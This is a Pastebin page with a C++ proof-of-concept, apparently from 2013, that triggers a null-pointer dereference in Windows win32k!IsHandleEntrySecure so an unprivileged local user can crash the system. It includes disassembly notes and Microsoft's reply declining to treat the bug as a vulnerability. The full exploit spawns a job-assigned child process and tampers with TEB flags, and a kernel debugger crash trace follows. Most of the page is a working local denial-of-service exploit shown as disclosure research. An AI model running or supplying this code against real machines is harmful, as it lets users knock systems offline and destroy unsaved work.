Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //
- // IsHandleEntrySecure_w32job_dereference_bsod.cpp
- // @sixtyvividtails
- //
- //
- // Function win32k!IsHandleEntrySecure() doesn't properly check if 'pW32Job' field of 'tagPROCESSINFO' for current
- // process contains non-zero value. This allows unprivileged local user to cause null derefence in kernel mode (that's
- // it, just bsod).
- //
- // NtUserValidateHandleSecure(win32Handle) ->
- // ValidateHandleSecure(win32Handle, 3) ->
- // IsHandleEntrySecure(win32Handle, pHandleEntry) -> bsod
- //
- //
- // To get bsod, user should call NtUserValidateHandleSecure(), with following conditions:
- // 1) Calling process SHOULD NOT be assigned to job.
- // 2) Handle for validation should specify "owned" object (flags OCF_THREADOWNED or OCF_PROCESSOWNED).
- // 3) Process which owns object SHOULD be assigned to job.
- //
- //
- //
- // IsHandleEntrySecure:
- // ...
- // .text:00149042 eax: current process processInfo
- // .text:00149042 edx: handleEntry process processInfo
- // .text:00149042
- // .text:00149042 checkHandleInJob: ; CODE XREF: IsHandleEntrySecure(x,x)+48j
- // .text:00149042 mov ecx, [eax+tagPROCESSINFO.pW32Job] ; ecx: pW32Job of current process processInfo
- // .text:00149048 cmp [edx+tagPROCESSINFO.pW32Job], ecx
- // .text:0014904E jz short ret_1
- // .text:0014904E
- // .text:00149050 mov edx, [ecx+tagW32JOB.pgh] ; <<<<<<< let's bsod here
- // .text:00149053 xor eax, eax
- // .text:00149055 test edx, edx
- // .text:00149057 jz short ret_eax
- //
- //
- //
- // Microsoft doesn't consider this as vulnerability. Their responce to my report of the bug:
- //
- // QUOTE START
- // I looked through your report, and it appears to be a local DOS. Although this is an unfortunate bug, we don't
- // consider it a security vulnerability according to our 10 immutable laws of security
- // (http://technet.microsoft.com/library/cc722487.aspx). If you know how to exploit this bug without violating one of
- // those laws, we would consider it a remote DOS which is considered a vulnerability.
- //
- // If you'd like to see this bug fixed, please contact Microsoft Product Support Services at
- // http://support.microsoft.com/common/international.aspx. You may also want to try posting a message to our free
- // support newsgroups. See Microsoft Product Support Newsgroups at http://support.microsoft.com/newsgroups/ for more
- // information.
- // QUOTE END
- //
- #include <conio.h>
- #include <Windows.h>
- #include <strsafe.h>
- #pragma section(".shared", read, write, shared)
- __declspec(allocate(".shared"))
- HWND WindowHandle;
- __declspec(allocate(".shared"))
- HANDLE ChildWindowReadyEvent;
- __declspec(allocate(".shared"))
- HANDLE ParentProcess;
- int go_first_instance()
- {
- wprintf(
- L"IsHandleEntrySecure_w32job_dereference_bsod\n"
- L"@sixtyvividtails 2013-11-12\n"
- L"\n");
- // Make job for second process, and set some restrictions, so 'W32Job' field of 'tagPROCESSINFO' gets filled.
- HANDLE job = CreateJobObject(NULL, NULL);
- JOBOBJECT_BASIC_UI_RESTRICTIONS uiRestrictions = {JOB_OBJECT_UILIMIT_WRITECLIPBOARD};
- SetInformationJobObject(job, JobObjectBasicUIRestrictions, &uiRestrictions, sizeof(uiRestrictions));
- STARTUPINFO si = {sizeof(si)};
- PROCESS_INFORMATION pi = {};
- CreateProcess(NULL, GetCommandLine(), NULL, NULL, TRUE, CREATE_NO_WINDOW | CREATE_SUSPENDED, NULL, NULL, &si, &pi);
- if (!AssignProcessToJobObject(job, pi.hProcess))
- return TerminateProcess(pi.hProcess, -1), wprintf(L"AssignProcessToJobObject failed\n");
- auto me = GetCurrentProcess();
- DuplicateHandle(me, me, pi.hProcess, &ParentProcess, SYNCHRONIZE, FALSE, 0);
- HANDLE childWindowReady = CreateEvent(NULL, FALSE, FALSE, NULL);
- DuplicateHandle(me, childWindowReady, pi.hProcess, &ChildWindowReadyEvent, EVENT_MODIFY_STATE, FALSE, 0);
- ResumeThread(pi.hThread);
- // Wanna call 'NtUserValidateHandleSecure', but don't wanna hardcode func offsets or api numbers.
- // So, we can make user32 to call that function for us if we fake TIF_RESTRICTED flag in local tagCLIENTINFO
- // (Teb->Win32ClientInfo, its offsets are quite stable).
- BOOL x64 = FALSE;
- __asm
- {
- xor eax, eax;
- mov ax, gs;
- mov x64, eax;
- }
- // (note: no sanity checks here)
- PDWORD threadInfoFlags = x64?
- PDWORD(__readfsdword(0xf70) + 0x800 + 0x1c): // &teb->teb64->Win32ClientInfo.dwTIFlags
- PDWORD(__readfsdword(0x018) + 0x6cc + 0x14); // &teb->Win32ClientInfo.dwTIFlags
- *threadInfoFlags |= 0; // die now if ptr invalid.
- WaitForSingleObject(childWindowReady, 7000);
- wprintf(L"ready to bsod, HWND: %p\n"
- L"press <enter> to continue...\n", WindowHandle);
- _getwch();
- *threadInfoFlags |= 0x20000000; // TIF_RESTRICTED
- IsWindow(WindowHandle); // boom. Just indirect call to 'NtUserValidateHandleSecure()'.
- // Could as well call NtUserValidateHandleSecure(WindowHandle) directly, without messing with teb.
- // should not be here.
- wprintf(L"bsod failed, I am so sorry.\n");
- return 0;
- }
- int go_second_instance()
- {
- WindowHandle = CreateWindowEx(0, L"BUTTON", L"bsod", 0, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
- SetEvent(ChildWindowReadyEvent);
- WaitForSingleObject(ParentProcess, INFINITE);
- return 0;
- }
- int main()
- {
- if (!ChildWindowReadyEvent)
- go_first_instance();
- else
- go_second_instance();
- return 0;
- }
- #if 0
- stacktrace, win8 x64:
- FOLLOWUP_IP:
- win32k!IsHandleEntrySecure+71
- fffff960`002a7591 488b4a38 mov rcx,qword ptr [rdx+38h]
- SYMBOL_STACK_INDEX: 0
- SYMBOL_NAME: win32k!IsHandleEntrySecure+71
- FOLLOWUP_NAME: MachineOwner
- MODULE_NAME: win32k
- IMAGE_NAME: win32k.sys
- DEBUG_FLR_IMAGE_TIMESTAMP: 5216eef4
- STACK_COMMAND: .cxr 0xfffff880190d31b0 ; kb
- BUCKET_ID_FUNC_OFFSET: 71
- FAILURE_BUCKET_ID: 0x3B_win32k!IsHandleEntrySecure
- BUCKET_ID: 0x3B_win32k!IsHandleEntrySecure
- Followup: MachineOwner
- ---------
- 4: kd> k
- Child-SP RetAddr Call Site
- fffff880`190d28b8 fffff802`36876769 nt!KeBugCheckEx
- fffff880`190d28c0 fffff802`368760bc nt!KiBugCheckDispatch+0x69
- fffff880`190d2a00 fffff802`368e34bd nt!KiSystemServiceHandler+0x7c
- fffff880`190d2a40 fffff802`3690b3d4 nt!RtlpExecuteHandlerForException+0xd
- fffff880`190d2a70 fffff802`368e5216 nt!RtlDispatchException+0x458
- fffff880`190d3180 fffff802`36876842 nt!KiDispatchException+0x455
- fffff880`190d3840 fffff802`36874fba nt!KiExceptionDispatch+0xc2
- fffff880`190d3a20 fffff960`002a7591 nt!KiPageFault+0x23a
- fffff880`190d3bb0 fffff960`002a66bb win32k!IsHandleEntrySecure+0x71
- fffff880`190d3be0 fffff960`002a75f4 win32k!ValidateHandleSecure+0x6405b
- fffff880`190d3c10 fffff802`36876453 win32k!NtUserValidateHandleSecure+0x31
- fffff880`190d3c40 00000000`77d72ad2 nt!KiSystemServiceCopyEnd+0x13
- 00000000`0011e688 00000000`77d72a9f wow64cpu!CpupSyscallStub+0x2
- 00000000`0011e690 00000000`77d8c4f6 wow64cpu!Thunk0Arg+0x5
- 00000000`0011e740 00000000`77d8b8f5 wow64!RunCpuSimulation+0xa
- 00000000`0011e790 000007fa`d342ff21 wow64!Wow64LdrpInitialize+0x435
- 00000000`0011ecd0 000007fa`d340655e ntdll!LdrpInitializeProcess+0x1576
- 00000000`0011efe0 000007fa`d343d3be ntdll!_LdrpInitialize+0xffffffff`fffc917e
- 00000000`0011f050 00000000`00000000 ntdll!LdrInitializeThunk+0xe
- 4: kd> r
- rax=fffff880190d29c0 rbx=0000000000000000 rcx=000000000000003b
- rdx=00000000c0000005 rsi=fffff880190ce000 rdi=fffff880190d4000
- rip=fffff80236877440 rsp=fffff880190d28b8 rbp=fffff880190d2b70
- r8=fffff960002a7591 r9=fffff880190d31b0 r10=0000000000000000
- r11=fffff80236b2e410 r12=0000000000000000 r13=0000000000000000
- r14=fffff880190d3978 r15=fffff80236876453
- iopl=0 nv up ei ng nz na po nc
- cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
- nt!KeBugCheckEx:
- fffff802`36877440 48894c2408 mov qword ptr [rsp+8],rcx ss:0018:fffff880`190d28c0=3b00000000000000
- 4: kd> .cxr 0xfffff880190d31b0
- rax=0000000000000001 rbx=fffff90100407bc0 rcx=fffff90102966a60
- rdx=0000000000000000 rsi=0000000000030528 rdi=0000000000030528
- rip=fffff960002a7591 rsp=fffff880190d3bb0 rbp=0000000000000000
- r8=0000000000000000 r9=0000000077e5dc64 r10=fffff960002a75c4
- r11=fffff880190d3be0 r12=000000007edab000 r13=000000000011fdb0
- r14=000000000021fc20 r15=0000000077d72300
- iopl=0 nv up ei ng nz na po nc
- cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010286
- win32k!IsHandleEntrySecure+0x71:
- fffff960`002a7591 488b4a38 mov rcx,qword ptr [rdx+38h] ds:002b:00000000`00000038=????????????????
- 4: kd> k
- *** Stack trace for last set context - .thread/.cxr resets it
- Child-SP RetAddr Call Site
- fffff880`190d3bb0 fffff960`002a66bb win32k!IsHandleEntrySecure+0x71
- fffff880`190d3be0 fffff960`002a75f4 win32k!ValidateHandleSecure+0x6405b
- fffff880`190d3c10 fffff802`36876453 win32k!NtUserValidateHandleSecure+0x31
- fffff880`190d3c40 00000000`77d72ad2 nt!KiSystemServiceCopyEnd+0x13
- 00000000`0011e688 00000000`77d72a9f wow64cpu!CpupSyscallStub+0x2
- 00000000`0011e690 00000000`77d8c4f6 wow64cpu!Thunk0Arg+0x5
- 00000000`0011e740 00000000`77d8b8f5 wow64!RunCpuSimulation+0xa
- 00000000`0011e790 000007fa`d342ff21 wow64!Wow64LdrpInitialize+0x435
- 00000000`0011ecd0 000007fa`d340655e ntdll!LdrpInitializeProcess+0x1576
- 00000000`0011efe0 000007fa`d343d3be ntdll!_LdrpInitialize+0xffffffff`fffc917e
- 00000000`0011f050 00000000`00000000 ntdll!LdrInitializeThunk+0xe
- #endif // #if 0
Advertisement
Add Comment
Please, Sign In to add comment